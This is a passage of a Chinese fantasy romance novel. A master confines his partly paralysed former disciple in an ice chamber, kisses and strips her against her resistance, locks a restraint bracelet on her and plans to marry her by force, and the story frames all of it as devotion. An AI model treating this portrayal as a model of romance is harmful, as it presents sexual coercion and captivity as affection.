当日情急,八方踏碎阵法的刹那,她什么都顾不得了,只管与天雷正面相抗,五雷轰顶,想必死相是相当骇人的。 思及此处,封澄心底仿佛有猫爪在挠一样,又疼又麻。 “该老实守着线的,”封澄想,“把人那么骗了一场,又没个好结果,算什么呢。” 这么一想,封澄几乎恨上了自己。 好在她这人向来善于自欺欺人,不过想了想,又转念道:“谁年轻时没错爱过几个人呢?而死去的人又能翻起什么波澜呢?再深的伤,过几年也该痊愈了吧?” 总之人好生生地活着了,是个好结果。 她乐滋滋地哄好了自己,随后闭上眼睛,打算像过去数日一样放自己沉入黑沉梦乡,谁知还未等她沉进去,耳边却传来轮椅碾过冰面的动静。 封澄当即一激灵,猛地睁大了眼。 世上无人比她对此声音更为熟悉。 紧接着,她的身边便是一沉。 她处于的位置十分奇怪,像是从地上挖了一个方形的坑洞出来,她躺在其中,身下铺着柔软的、不知什么动物的毛皮,四壁是冰玉一般的东西,好似一个小一些的冰室。 这坑洞十分宽敞,足以令她在其中翻滚扑腾,而躺下第二个人,却不免逼仄起来。 躺,是能能躺的,就是从肩膀到小腿,没有一处不是紧贴的,是个亲密到令人发麻的距离。 所幸那人并不打算来一个贴身礼,他似乎是坐在她的身旁,封澄忐忑不安地等了片刻,忽然有两根冰凉的手指落在了她的眼皮上。 这温度激得她眼皮情不自禁地颤了颤。 那人便笑道:“醒了?” 封澄的听觉只处于“能听见动静”的程度,故封澄只觉得这声音有些熟悉,却说不出熟悉在哪里。 他道:“既然醒了,为何还闭着眼睛。” 顿了顿,他道:“冷?” 冷?不,她不光不觉得冷,还觉得体内热流冲击经脉,蹿得她难受。谁料她还未表达出这个意思,身上便被不由分说地盖了一件大氅似的东西,白茫茫一片,又香又压人。 她觉得这香味熟悉,却又想不出熟悉在哪。 于是封澄艰难地睁开了眼睛,活动着僵硬的脖子,用力摇了摇头。 不知是不是她的错觉,在她眼睛睁开的刹那,她似乎听到对面的呼吸停滞了一瞬。 不过也只是一瞬,那人极快地收拾好,凑过来贴了贴她身上穴道:“不冷就好。” 顿了顿,他又道:“那么,能感觉到我吗?” 话音未落,她便感到手心一温。 封澄瞳孔骤然紧缩——那人在吻她的手心! 但凡她能动一点儿,她早已一巴掌将其满嘴牙抽出来了! 过分的举动并未停止,反而越发向上,封澄感觉到自己手臂一凉,紧接着,盖在左手手臂的大氅便被掀开了。 光裸的手臂停在冰冷的空气中,她并不冷,却不由自主地有些颤抖。 温热的触觉从掌心开始,蔓延到指尖,他抬着她的手臂,仿佛信徒对着神明一样,从指尖,逐寸逐寸吻到手心。 一路留下火花似的酥麻。 吻触及腕骨时,他轻轻地抬起了头,声音哑得不像话:“有感觉吗?” 这可太有感觉了,麻木的神经在触摸他温热的吻时,便已兴奋地震竦了起来,封澄被吻得几欲抽人,竭尽全力,却只有小臂肌肉神经质地颤抖几下。 他像是察觉到了什么,声音里含着些笑意:“看来恢复得不错。” 话毕,他便继续下去。 如若说方才的吻意在试探,眼下的吻,便是多了几分说不出的炽热, 整条手臂被他细致吻过时,一寸一寸,封澄觉得自己仿佛在烧,且印在手臂上的吻太 过分,她甚至连印在手臂上的唇纹都能分别得出。 如此这般,不知过了多久,他终于肯放下封澄饱受摧残的左手手臂了。 在拼尽全力却收效甚微的反抗中,封澄的额发已被汗水浸透,他注意到,冰冷的手指便轻轻擦过封澄的额发,又自然而然地落在她的额头,探了探温度。 “热了,”他皱眉道,“等一等。” 说着,他抬了抬手,只闻一声风啸,四周寒气刹那便作春水,潺潺而去了。 四周温度霎时升了不少,那人收回手,握住了封澄的脚。 “接下来是这里。” 唇吻欲落间,封澄肝胆俱裂,刹那间,破败已久的喉咙竟被她生生地逼出了声音。 “等——等!” 赵负雪猝然停下了动作。 强行逼迫出的声音令封澄喘息不止,她竭尽全力,才吐出了第二句话。 “……你是师尊。” 不会错的。 她年少风寒时,夜间难挨,也是这样一双手,触在她滚烫的额头上。 这双手,像无数难挨的苦夜。 被骤然揭穿,赵负雪神色丝毫未变,他微微勾着唇角,片刻,握住封澄的力道反而变本加厉了:“很聪明。” 他托着封澄的腿,封澄的腿上霎时一冰,那句师尊并未叫回赵负雪的理智,反而令他愈发地凑近。 “是师尊。” 话音未落,赵负雪轻轻地吻在了封澄的小腿上。 久于征战,她的腿上有数道疤痕。 新生的痕迹,斑驳而疼痛。 封澄霎时被烫到了一样,脚不由自主地抵在了赵负雪的胸口。 隔着一层单薄的衣,她的脚心处涌动着他的心跳。 赵负雪沉沉一笑,却陡然攥住了她的脚腕。 “你对他放纵诸多,怎么于我反倒生分了。” 在意识到这个“他”是谁时,封澄的眼睛骤然睁大了。 第78章 第78章终于给他迈出这一步的理…… 封澄忽然就哑了。 她心头不知是该如何反应,迟钝地思索了半晌,才后知后觉地反应过来:“他疯了吗?” 脚踝骨一痛,赵负雪慢条斯理地舔咬了一口,舌尖在她脚踝骨节一触:“回神。” 话音方落,封澄的脸腾地一下红了。 ……怎么能舔? 赵负雪又攥了攥她纤细的脚腕,察觉到她刹那的失神,莫名脸上有些阴沉,紧接着低下头去,再于脚踝上落下个吻,强行将她的注意力拧了回来,他注视着封澄有些无神的眼睛,似笑非笑道:“这种时候还敢走神。” 紧接着,他手指似乎向上了些,封澄当即被吓了一跳,急促将腿往回抽,忽然从足心到小腿传来一阵拧过去似的剧痛——太急,拧着筋了。 赵负雪脸上本来有些阴沉,如同山雨欲来,忽见封澄痛色,他霎时脸色一白,抬手便向封澄周身大穴查验去,谁料封澄只艰难地指着抽筋的左腿,挤出气音:“……抽,抽筋。” 赵负雪定在原地,片刻,轻轻地叹了一口气。 原本兴师问罪,妒火欲燃,旖旎气氛一触即然,最后因她一个抽筋,莫名演变成了这番滑稽景象。 赵负雪不轻不重地按着她腿上穴道,平静道:“好些了吗?” 腿上痛楚已经去全然褪去,封澄怔怔地点了点头。赵负雪心中也担忧封澄这副身体,于是便将封澄的腿放下,忽然她却开了口。 “抱歉。” 以封澄眼下的恢复程度来说,能完整地说出一句话来绝对称得上一句艰难,赵负雪微怔,片刻,定定地看向了封澄。 封澄忐忑不安地等待着赵负雪的回答,在长得几乎能把人吞没的寂静中,上方忽然传来了一声极低的笑音。 朦朦胧胧地透过她的耳朵,仿佛溺水的人听着岸上的声音似的。 “对谁说的,”他慢慢道,“是我,还是他。” 封澄怔怔,沉默了。 都有。 在一醒来,见到赵负雪的刹那,一切便在不言之中了。 赵负雪曾对她道: “——因果不可违背。” 当时封澄什么都听不进去,可赵负雪当时也未强劝,当时她只觉师徒二人经了那些错事,与相处一道上温和了许多,现在一想,哪里是他放手? 分明就是他知晓,无论怎么劝,事情都会原原本本地回到该有的轨道上。 就如同赵负雪眼下依旧坐着轮椅,心脉不足,毫无变化一样。 当年她与少年赵负雪相处时,夜间抽筋,深夜孤灯摇曳,少年赵负雪揉着惺忪睡眼,手指停于她的小腿,拇指却半贴在伤痕上,抚摸得小心翼翼。 一如方才赵负雪。 封澄后知后觉地意识到,原来从一开始,他便是被她救下的“赵负雪”。 封澄心乱如麻,而赵负雪只是略微勾了勾嘴角,他垂了垂眼睛,片刻,吻又重新落到了封澄的腿上。 这次的位置,向上到了过分的位置。 “不接受,”他自然而然地向上吻去,“清醒过来,再算账。” 封澄的瞳孔剧烈收缩,肌肉紧绷了起来,登时脑子便一片空白了。 那已经是以师尊身份,不该触碰的位置了。 神魂颠倒间,她莫名想到,她与赵负雪的师徒伦理,当真是到了荒谬的地步了。 不知过了多久,封澄几乎全身都被赵负雪磋磨过了,她身上的肌肉几度抽搐,每一寸的皮肤皆浮着热意。 始作俑者却淡淡地坐起身来,抬手,取过一旁素白寝衣来将她包裹好,又将她轻轻拢入怀中。 封澄筋疲力尽,无力挣扎,疲惫不已地蜷在赵负雪怀中,赵负雪抱着封澄,踏上了冰棺的台阶。 冰冷的石室,赵负雪赤足而行,白衣于身后层层铺开,墨发逶迤,脸上虽苍白,却仍是如妖似仙的颜色。 她模糊地看着赵负雪冷硬的下颌线,心头怔怔的。 当年赵负雪从长煌大原将她捡来时,她便是这般仰望着他的。 八方那缺德的黑毛大叫驴行事恶劣,可它并不说谎,她的确离开了四十七年。 四十七年的岁月横亘在二人之间,连同从前荒诞的仇恨与情意,都随着此事的尘埃落定,被提到到了一个尴尬的位置。 又或者,被酿成无法轻易开口的程度。 她不甚自然地偏开了头。 赵负雪抱得极稳,不知过了多久,封澄忽然感觉呼吸入肺的空气寒冷了许多,艰难一抬头,在看到眼前景色时,登时目瞪口呆。 赵家禁地,静水坛! 封澄当即就要挣扎——开玩笑,这种地方岂能沐浴! 当年赵负雪灵力暴乱,寒气时时溢出,那些溢出的寒气无处存放,出去便要伤人,于是只能以阵法困于禁地之中,日子久了,竟凝成实质,化作了寒潭。 里头有一滴算一滴,统统都是至寒灵气的精华。 她当年来替赵负雪取药时不小心落了下去,便冻得七八日没去杏堂,此时看赵负雪意图,竟然是打算再让她进去一次。 赵负雪未除一件衣物,抱着封澄,平静地走入了水中。 入水刹那,潭水便湿透了二人衣衫。 封澄猛地攀住了赵负雪的肩膀。 幽暗洞潭中,赵负雪仿若水中谪仙,他漆黑的墨发披在身后,极冷的水汽上流,落在他长睫上,一时间,竟悄悄凝成雪白的霜,他察觉到封澄的小动作,唇角微不可察地一勾。 成年男子的身体与少年绝不相同,不同于少年的纤细单薄,他的身体极有压迫力,宽阔得几乎能把封澄笼在身体里面。 水中极寒,封澄本以为会冻得死去活来,不料入水刹那,赵负雪的灵力竟在她体内运作,她还未反应过来,潭中灵力便发疯一般汹涌起来,有些冰冷的灵流冲击着她体内经脉,这冲击令她猝不及防,霎时间,她便痛哼了一声。 身后几处大穴忽然被打入灵力,旋即,后背的灵力便与潭中灵流 相辅而合,生机勃勃地在她经脉中游走了起来。 赵负雪的声音有些低沉:“早些恢复,我很想你。” 封澄一怔,随即微不可察地垂下了眼。 拓宽灵脉的过程十分漫长,弄到最后,池水的灵气渐渐褪去,灵流下掩埋的寒意便卷土重来地翻滚而来了,封澄到最后也不知是冻晕的还是累晕的,她躺在了寒潭唯一的热源上,沉沉地睡去了。 封澄倒在赵负雪的胸口,脸颊紧贴着赵负雪的胸口,赵负雪低下头,揽住封澄的肩,轻柔地抚摸着她湿漉漉的长发。 她的心跳清晰,身体温热而柔软,呼吸声打在他的心口,是累极了,所以睡得极沉的模样。 真的回来了。 赵负雪闭上眼睛,睫上霜雪被呼吸融作清水,悄然无声地落了下来。 ……终于回来了。 *** 自从第一日后,赵负雪的动作收敛了许多,再也没有第一日那般的越雷池之举,封澄不动声色地松了一口气。 得益于他日日的灵力与汤药,封澄的身体恢复极快,譬如视力来说,前几日还是个彻头彻尾的半瞎,到了今日,她已经能将赵负雪的脸看得分明。 自然,身体也能做出小幅度的动作了。 封澄不动声色地环顾四周。 凭这几日观察,她几乎能断定,这地儿大概就是赵氏禁地的正心处。 从赵氏禁地逃走,是件能称得上是艰难的工程。 她打算逃走。 这打算并非一时兴起。 前几日,封澄意识昏沉,清醒与沉眠时时交替。 只是,沉眠并不可怕,可怕的是她连续十七次苏醒时,都会发觉赵负雪在一旁目不转睛地盯着她。 她心头有股怪异的直觉,如若不早些离开,赵负雪八成会做出些她不愿看到的事情。 这几日封澄也算是把自己哄得条理顺畅了,眼下大家都是正儿八经肩上担着事的人,什么情情爱爱压根不该在二人的商讨范围之内,封澄自知不是什么好人,可也没真打算和自己的师尊、朝堂上的敏感世家搅合到一块儿去。 几十年前无关紧要,尚且能谈情说爱,眼下事态再扯这些,难道不是找事儿么? 这么想着,封澄重新聚精会神地琢磨起了逃亡的办法。 赵负雪给她圈定的位置只有正心这间冰室,离开此地半米,便有阵法阻拦,没有灵力,是绝不可能破阵出逃的。 可今日,她察觉到,灵脉的深处,重新钻出了熟悉的灵力。 她的灵力回来了。 而血修,是最不怕身无寸铁的。 思及此处,她不再犹豫,掌心血流而出,凝成了一把匕首的形状。 几日勘察下来,西面阵法最为薄弱,如若机灵,即便是新生的丝毫灵力,也足以破阵而出。 薄弱得简直不像是赵家拿出来的阵法。 封澄径直向西面走去。 她打算先去探探深浅,如若可以,再暗暗筹谋破阵出逃之事。 凭赵家那群天机师,即便是随手乱起,也做不出西面那等堪称低幼的阵法,这简直是送上门的钓饵。 她嘴角勾起个轻微的笑意。 可她却知道,就得走这儿。 赵负雪赌她能看出西边阵法的怪异,转而攻去最为严密的东边阵法,她却偏偏反其道而行之,正所谓兵不厌诈。 行至阵盘处,她低头看了看,抬起手,以血为笔,在匕首上画了一道隐匿符。 这手隐匿符是少年赵负雪的路数,赵家独门,只是去探探深浅,用隐匿符便足够了。 当机立断,封澄悄悄地将匕首掷了出去。 噗嗤一声,阵法应声而破。 她心中大喜,谁料还未等上前,脸上的表情便凝住了。 封澄看见一把轮椅,正对着她。 赵负雪眉眼含笑,很愉快的样子,他两指夹着匕首,缓缓勾起了唇角。 “嘴上说着抱歉,私下却琢磨出逃。” “阿澄。” 封澄警惕地向后退了一步。 “你终于给我迈出这一步的理由了。” 封澄暗道一声坏了,却见赵负雪盯着她,指尖叮铃一声,似乎是拎出什么金属来。 “此物备下良久,”赵负雪道,“今日终得一用。” “——得罪了,阿澄。” 妄自打探消息的结果,就是头一次试探,便被定了死罪。 封澄面如死灰地看着锁在手腕处的赤金手环,良久,狠狠地叹了一口气。 这东西她认得,不,岂止是认得。 这是她当年想拿来锁赵负雪的东西。 “穷道锁,”她举起手腕,喃喃道,“这东西都到赵负雪这儿来了?” 镇北将军府到底被抄得多干净啊? 思及此处,封澄又狠狠地叹了一口气——世间因果轮回,归根到底,不过自作自受四个大字。 正叹息间,门口阵法忽然又有了动静,封澄一激灵,忙一头倒在冰棺中,作沉睡状,忽然,她察觉到走到身边的人不对。 并不是赵负雪身上的冷香气,而是另一股陌生的脂粉香。 封澄疑惑地睁开了眼睛,正正对上一张娇媚的美人面。 “家主,”那美人笑道,“夫人醒了,衣袍可上身了吗?” 封澄警惕无比地抬起头来:“是谁?” 赵负雪笑笑:“制嫁衣的裁缝,你身量有变,之前那件大概是不合身了。” 第79章 第79章师尊教你 话至如此,封澄勃然变色,她震声道:“你敢!” 赵负雪平静地看着她:“镇北将军已死,从此之后,世上只有封澄……赵氏的另一位家主。” 镇北将军四字一处,美艳女子登时被吓了一跳,当即手一抖,震撼而无措地看着她,封澄随口安抚她一句,转而怒瞪赵负雪:“师尊的恩情,无论是从前养育之恩还是救命之恩,都是徒儿记挂于心,此生报不完的。可这几日的荒唐,却也该到此为止了。” 石室内回荡着令人窒息的沉默,封澄盯着赵负雪,看着他那张如妖似仙的、病态苍白的脸。 她试图从他的脸上发掘出分毫波动,而令封澄不安的,是他面上自始至终的平静。 “荒唐?”终于,他念着这两个字,仿佛这两个字沉得像在舌尖坠了铅似的。 封澄道:“对,荒唐。” 她简直不敢回想这几日是怎么过的,一抬头,却见赵负雪的目光倏地暗了下来,一片沉默中,他慢慢地向前走,偏头吩咐:“退下。” 那美人如蒙大赦,行了个礼,步下生风地退了下去。 封澄有些警惕地向后挪了挪,直到后背抵住冰棺的棺壁,退无可退。 赵负雪半跪在她的腿间,二人的距离近得封澄有些窒息。 “为何不愿嫁给我?” 封澄被这个嫁字咯了牙,半晌,才不闪不躲地迎着他的视线,斟酌片刻,一字一顿道:“师徒有伦,我自小无双亲,得幸由师尊照拂长大,师尊于我如父如母,人伦如此,何来什么……嗯,嫁娶。” 如父如母四个字一出,令赵负雪的脸色登时阴沉下来。 封澄觑着他脸色,心底也是直打鼓。 天地良心,她才不会把他当爹妈一样依恋。 只是眼下情形,不放狠药,如何破局? 封澄就不信了,赵负雪此人一生君子端方,这番话,难道会对他半点儿效果都没有? 谁知赵负雪看着她,似笑非笑道:“阿澄,我同你说过,自始至终,都是我。” 对视半晌,封澄心头莫名一空。 赵负雪挑起她挂在胸前的长发,盯着她,缱绻地落下一个吻:“于我而言,你我第一次见面,并非长煌,而是古安。” “我等了你许久……等你出现,等你一无所知地长大,再等你重新回来,阿澄。” 封澄吞了吞口水。 赵负雪垂着眼睛,轻笑道:“两心相许,早在师徒之前。” “你说师徒有伦,我不认的。” “镇北将军已死,”赵负雪眼珠黑沉得无半分光亮,“世人皆知。” 刹那间,封澄心头一疼,她怔怔看着他,仿佛不认识赵负雪一样,陡然,胃中一片翻涌。 赵负雪敏锐地察觉到封澄有些发白的脸色,皱眉托过她的手腕,手指落上之前,耳边忽然刮过一阵劲风。 “——啪!” 这一巴掌打得又狠又急,赵负雪那张雪白的脸上霎时浮现了血色,他偏着头,静住了。 封澄的手还没收回,她盯着赵负雪,胸口剧烈起伏:“我**……” 她想到那些彻夜难眠的夜晚,想到徒劳无功的苦望,想到诀别似的怦然心动。 赵负雪是天下仰望的仙人,洁白无瑕,不容一丝尘埃。 年少时,封澄被贪恋自己师尊的愧疚感折磨得几欲疯癫,生怕露出分毫,窃窃如白日小鼠。 敬爱,倾慕,痛苦。 这是作为师尊的赵负雪施加于她的。 眼下不清不楚的,反倒非要成亲了! “你简直有病。” 她声音颤抖,而赵负雪却是沉默了。 “当年我记忆有损,”他道,“你我种种过往,所留甚少。” 封澄定定看着他。 赵负雪垂眸,声音有些涩然:“……阴差阳错,并非有意。” 片刻的沉默过后,赵负雪忽然觉得脸上一温。 封澄叹了口气,水汽扑在了他的脸上。 冰棺的温度极低,她说话时,有淡淡的白气飘上去。 赵负雪怔了怔,抬起了头。 封澄垂下了手,片刻,偏过头去,疲倦道:“于我而言,师尊便是师尊,我不会嫁你。” 说来好笑,封澄蒙欺师灭祖之名数年,可方才的一巴掌,却是她第一次真正意义上的忤逆之举。 赵负雪却最听不得这个,他倏然攥住封澄几欲落下的手,目光中令封澄莫名有些胆寒:“可你却从来没将他当作师尊。” 这个他是谁,不言而喻。 提到这件事,封澄不自然地偏过了头。 与少年赵负雪的从前种种,是封澄最想逃避的事情。 她挣扎道:“他一无所知!” 赵负雪的手攥得极紧:“好一个一无所知——难道在他面前时,你也是一无所知吗。” 陡然地,封澄的脸上霎时出现了一片空白,这空白像是画皮鬼骤然被扒下了作以伪饰的人皮一样,登时,封澄便有了赤/身/裸/体的慌张感。 “放开!” 赵负雪不放,不闪不躲地直视着她:“阿澄,你在躲什么?” 这句话落下的刹那,封澄停下了挣扎。 “我躲什么?” 这句话莫名刺了封澄一下,封澄本就慌张,此刻狗急跳墙,竟是口不择言起来:“师尊,我若还是十几岁的年纪,倒是很不介意和自己的师尊来一场恨海情天的纠缠。” “可这么多年过去了,我身后也开始缀着一摊子烂事。人一旦干多了烂事,疲惫了,谈情说爱这种事,便只适合过身不过心。我们那派人的作风,难道师尊未曾听闻吗?” 她口中所指,便是朝中血修一派。其众行为举止荒淫无度,为众人所闻。 赵负雪曾亲手将她从欢楼里揪出来过,此话作不得假。 顿了顿,她又熟稔地端上那副笑脸模样:“当年唐突了师尊,是我不好——毕竟师尊花容月貌,徒儿贪恋一时之欢,向师尊道个不是,要杀要剐随便。只是扯什么嫁娶……还是算了吧。” 如果说方才赵负雪的脸上还能看出几分人色,那么在封澄说完这番话后,他的脸上一丝人色都不见了。 封澄察觉到手腕的力道骤然大得不可忽视,几乎要生生地拧断她的骨头,赵负雪冷冷地看着她,眼底隐隐有骇人的沉色。 “一时之欢?” 话至当下,也只能硬着头皮往上应,此刻封澄说不清是该恨还是该谢自己当年的一身臭名,她点了点头,又笑道:“贪恋个肉/身之欢也就罢了,这样,我立个誓——我封澄,此生都不会嫁赵负雪。” 修道之人重誓,赵负雪脸色苍白,半晌,松开了手。 照着封澄对赵负雪的了解,这话说出口,即便是恶心,也该把他恶心走了。 想到这里,封澄颇有些怅然。 小赵负雪干净得人如其名,霜雪一般。 若对他全盘交代后世之名,想必当年的小赵负雪,连靠近她都不会靠近。 眼前的师尊,却没什么可瞒的,反正她当年传闻,他最清楚不过。 赵负雪眼底氤着风暴,封澄见状,又想往火上浇两桶油,谁料话音未落,身上却忽然一凉。 赵负雪将她的素白寝衣以灵力震碎。 四处纷飞的簌簌衣料中,封澄缓缓地睁大了双眼。 赵负雪平静地看着她的脸,还未等她反应过来发生了什么,赵负雪便单手扣住了她的双手,将她按倒在冰棺上。 在后背接触到冰棺,冰得她周身一激灵时,封澄终于迟钝地意识到。 ——等等。 无论是这辈子还是上辈子,封澄都从未在什么人面前不着寸缕过,即便是与少年赵负雪情到浓时,二人也隔着泾渭分明的寝衣。 封澄恼羞成怒,抬腿便下了狠劲,提起膝盖,便向赵负雪腹部顶去,她身体强度远非一般修士能比,这一击用了十足十的力道,即便是灵石也该被踢碎,谁料赵负雪闷声受了这一击,只偏头,唇吻触上她柔软的颈。 脖颈骤然一痛,封澄感觉到有血珠从颈侧缓缓地流了出来。 赵负雪一咬毕,抬起脸来,面上多了几分封澄看不懂的阴沉笑意。 痛过之后,便是一路湿漉漉的、轻轻的啄吻。 “既然贪恋肉身之欢,”赵负雪面无表情道,“那便享受当下。” 他的舌尖停留,印下了一个惹人遐想的红痕,赵负雪好整以暇地看着封澄的脸色,冷笑道:“只是阿澄,会吗?” 此话正中红心,封澄不知是羞的还是气的,咬牙几度挣扎,脖颈血珠极快向外涌动,偏生浑身灵力却不听使唤,她倒想用赵负雪咬出来的血化十八般武器向他身上招呼,可奈何这血里头连半分灵气都没有了。 赤身居于人身下,封澄不是傻子,即便没吃过猪肉,也见过猪跑,将要发生什么简直是顺理成章、毫无意外。 意外的,只是做这件事的对象,是她师尊。 封澄没料到赵负雪不光没被恶心走,还变本加厉,甚至说要生米煮成熟饭了。 她咬牙切齿,浑身都在发抖,啪地一声,直直地抽在了赵负雪的脸上。 “滚。” 赵负雪偏过头去,如妖似仙的脸上印着显眼的红痕,他只轻笑一声,转过头来,看着她脖颈的伤口,低头,不由分说地舔吻上去,血液止住了。 他放开她的双手,转而移向了封澄的脚腕。 空气有些冰冷,激得封澄忽然有些瑟缩,赵负雪的手指把玩着她的脚腕,在小腿伤疤处轻捏着梭巡。 他依旧是毫无表情:“想试试吗,师尊教你。” 第80章 第80章我知道的 今天又到了赵狩值班的日子。 照例,他站在地室口前,认命地穿起自己贴满火灵石的冬裘,一旁换班的修士却悄悄道:“兄弟,火灵石不用贴了,里头不冷了。” 正在穿皮靴的赵狩抬起头;“?” 修士神神秘秘地低下头:“这几日家主将灵气撤了不少……那位醒了。” 赵狩愣住了。 邪修头头封澄的尸身存放于第一天机世家,这件事在相当广泛的范围内,并不是秘密。 得知这讯息的刹那,赵狩的脑中是一片空白的,他慢慢地蹲下,动手把火灵石一枚一枚拆下来,不防,手上被那尖锐灵石扎了个不小的口子。 修士吓了一跳,忙掏出身上药包来为他止血,口中骂道:“你个找死的,若火毒入体,还要不要命了!” 赵狩不知道自己是怎么包的手,又是怎么进 到地室里面的。 入骨寒气果然不如从前强烈,完全在一般修士的承受范围之内,他握着剑,口中不轻不重地叹出几口雪白的雾气。 地室最外层的大门上是一只狰狞的、择人欲噬的兽类,他拿起腰牌,将腰牌放进大兽的口中。 他有些紧张地理了理鬓发,抚了抚袖口。 沉重的石门缓缓地张开。 地室极大,值守修士需添灯、更换灵力耗尽的阵符,以及将过于厚重的冰层以火灵力除去,以免整个地室被家主的灵力彻底封住。 在看到今日的阵符时,赵狩的眉轻微一皱。 它干枯陈旧地糊在冰室之外,其中灵力被耗得一干二净。 如若按灵力的损耗来算,一张符,足以撑上三日,而昨日的修士必然是检查更换过阵符的,短短一日耗成这个样子,那么只有一个解释。 有人曾尝试破阵。 赵狩的心跳骤然有些加快,他抬手,将干枯的符纸从墙壁上揭下,叠了叠,放进胸口之中,随即转手摸出一张黄纸,提笔正要向上画,指尖伤口却忽然传来一阵灼烧似的剧痛。 “哎——停手!” 话音未落,一只手猛地按在了他的腕间,随即一道模糊不清的骂声,炙热的灵力便顺着他的手腕打了进去。 赵狩低头,怔住了。 来者披着长发,赤着脚,身上披着厚实的雪色大氅——这件大氅极为眼熟。 是家主昨日穿过的。 而打入脉中的灵气精纯无比,足以将火灵石的火毒强压下去。 居于赵家禁地中的、披着赵负雪大氅的、火灵力精纯无比的女修。 只有一人。 “……封将军。” 赵狩涩然道。 封澄在听到这称呼时,意外地抬起了头。 天地良心,都多少年没听到有人这么称呼她了,一时之间竟然还有些怀念。 “你认得我?” 打眼一看,这莽撞修士竟是个年纪不大的青年,眉宇间英气勃勃,看着浓眉大眼,颇为正气。 看其腰牌与衣袍,应当是赵家的修士无疑了,封澄心底啧啧两声,放开了他的手腕。 赵狩不自觉地蜷缩了手指。 “带着火毒便不要妄动灵力,”封澄嘱咐两句,便转身向回走,“这灵力太冲,入了经脉要伤人的。” 眼见着封澄便要回到冰室之中,赵狩下意识道:“封将军!” 封澄停住脚步,回头露出个询问的表情。 “……我该如何谢你。” 原来如此,封澄不甚在意地摆了摆手:“举手之劳,不足挂齿。” 话没说完,眼前青年便肉眼可见地低沉下去,封澄看在眼里,话在口中忽然就转了一圈儿:“不过呢,最近我想吃天机院后街老头的糖水。” 赵狩笑了一下,露出了一口白牙:“我知道了。” 封澄还待说些什么,忽然耳朵尖一动,她闻风而动,当即像见了活鬼一样,一溜烟回了冰室里面。 见他背影,赵狩心中空落落的,他抬起手来,手腕间似乎还有滚烫的灵力隐隐涌动。 他怔怔地收回手,突然察觉到几分不对。 她怎么会有灵力? 穷道锁这种灵器困在身上,怎么还会让人有如此精纯的灵力? 赵狩将此时按捺进心底,一转头,却猝然撞见一人。 他脸色陡然便白了。 封澄把自己裹成一个严严实实的球儿,再飞快地奔向冰棺里,方一躺下,尤觉不够,抬起手来便要把棺盖搬来扣上,正搬得满头大汗之时,赵负雪却站在门口,开口道。 “卖糖水的老者,前几年去世了。” 封澄搬棺材盖的手一顿。 赵负雪走过来,笼着她的身体,将棺材盖重新推出去:“等明日吧。” 熟悉的冷香气铺天盖地包裹而来,封澄一嗅这香气,这几日的荒唐便骤然铺上脑海,她登时就有些腿软,一矮身便从赵负雪的手臂下钻了出去。 “人死了,怎么还能等明日?” 封澄寻了个令人心安的墙角,严阵以待,才敢开口。 赵负雪垂眸不语,偏过头来,眉眼间是极为慑人的瑰色,他并不回答,只是道: “总有办法的。” 顿了顿,他又道:“抬头看我。” 封澄心底叫苦不迭。 并非她怕了赵负雪还是怎样,只是封澄一看自己师尊的脸,便不由自主地想起他鼻尖暧昧难言的水迹。 “……” 思及此处,封澄心底一片死寂。 她两手死死地将大氅包在身上:“师尊,还请自重。” 可这么严防死守,身上裹的却是赵负雪的大氅,这一番不仅未令赵负雪退而却步,反之,唇角十分愉快地一勾。 “他怎么又笑了?”封澄看在眼底,难以置信地想。 在那几日的荒唐里,封澄唯一一点有价值的收获,便是她终于得知,对于赵负雪而言,一切威胁、怒骂、求饶,都没用,反倒会令赵负雪愈发不受控。 封澄不可避免地想起,冰棺之中,赵负雪的冷香气无孔不入地包裹着她,她踩着赵负雪赤裸的胸口,喘息不止,提脚要踹,却骤然被擒住脚腕。 “认真些……从前习剑,也没这么笨过。” 最后被折腾得神智不清,她连踹人的力气都没了,只迷迷糊糊说了一句话,赵负雪便突然定在原地,停手了。 封澄麻成一片的大脑后知后觉地意识到,那句话是—— “……快要死了。” 她从来不知,死之一字,对于亲眼目睹过她的死亡、以及亲自捡回她的残骨的赵负雪而言,早已经是听不得的事了。 思及此处,封澄又有些头疼,对面赵负雪却平静地站了一会儿,片刻,道:“你想要什么,只和我说。” 他退出去,第二日清晨,冰室的大门便被轻轻地叩了两记。 封澄睡得一头雾水,迷迷糊糊爬起来,却见昨日见过的那青年站在门前,端着一碗糖水。 封澄一见那糖水,七分睡意便飞了八分,她怔怔地接过。 澄澈的姜黄汤水中,浮动着碧色斑斓的果子,封澄端着糖水,看了看,叹了口气,找了块灵石,就地坐下了。 赵狩心中忐忑不安,如同猫爪在挠。 他几乎能确定,昨日家主在一旁,定然是将他的异样看得分明。 可赵负雪只问了几句,却什么都没做,只在今日清晨,命他去了茶室,取一碗糖水送来。 原先他还不懂,这区区一碗糖水,即便是甜得破了天,又能有什么用处? 现在一看封澄怅然若失的神色,赵狩便突然明白了。 他来得太晚,晚得一无所知,晚得连让赵负雪没有丝毫动手的欲望。 “……你也好不到哪里去,”他心道,“拿穷道锁才把人留下,也是败犬一头。” 这么想着,赵狩又忍不住靠近了些,他鼓足了勇气,小声道:“封将军,那老头的糖水摊子关张许久了,后街有几间新鲜的铺子,可愿尝尝吗?” 封澄低头喝着姜黄的糖水,一闭眼,被那味道刺得眼眶酸涩,她头也不抬,摇摇头:“公子有心,但是不必。” 赵狩“哦”了一声,又愣愣地,不知说什么了。 他肚子中有千言万语,可话至喉头,却一句也倒不出来了。 憋了半日,他搜肠刮肚地组织出语言来:“封将军,你骑术很好。” 打马长街,春风得意。 骑术? 封澄抬起头来,有 些怔怔。 赵狩低下头,不敢去看封澄的眼睛,“当年将军得胜回京,策马过天街长道,令人难以忘怀。” 封澄眨了眨眼睛,哑然失笑。 得胜回京之时不少,而无比嚣张地策马过天街,也只有一次。 那时她初初离开赵负雪,独身前往长煌大原,只觉天地广阔,无处不自由,自觉区区洛京,哪能困得住她一个封澄。 想到此处,封澄站起身来,把装糖水的碗递给他,心头那点犹豫忽然就烟消云散了。 “多谢了,”她道,“改日你若得闲,和我一起去长煌,那才是纵马的地方。” 赵狩猛地站起来,心头莫名有些直觉,他道:“你要走了吗?” 封澄站住了。 他急急地看着封澄的背影,道:“……可你怎么走?” 虽不知那替他破除火毒的灵力从何而起,但穷道锁是他亲手取来的,这东西的厉害,他可是早有耳闻。 封澄一句话也不答,只是站在了原地。 电光火石间,赵狩看清了封澄腕上金环。 他取来时检查过千万遍的、完好无损的金环,此时裂开了一道几乎不可见的细缝。 此环一旦锁上,绝对无法以自身灵力撑毁,唯一的解释,那就是在锁住她时,已被外力撑开一道足以毁掉整只穷道锁的裂缝。 能做到这点的,只有一人。 赵负雪。 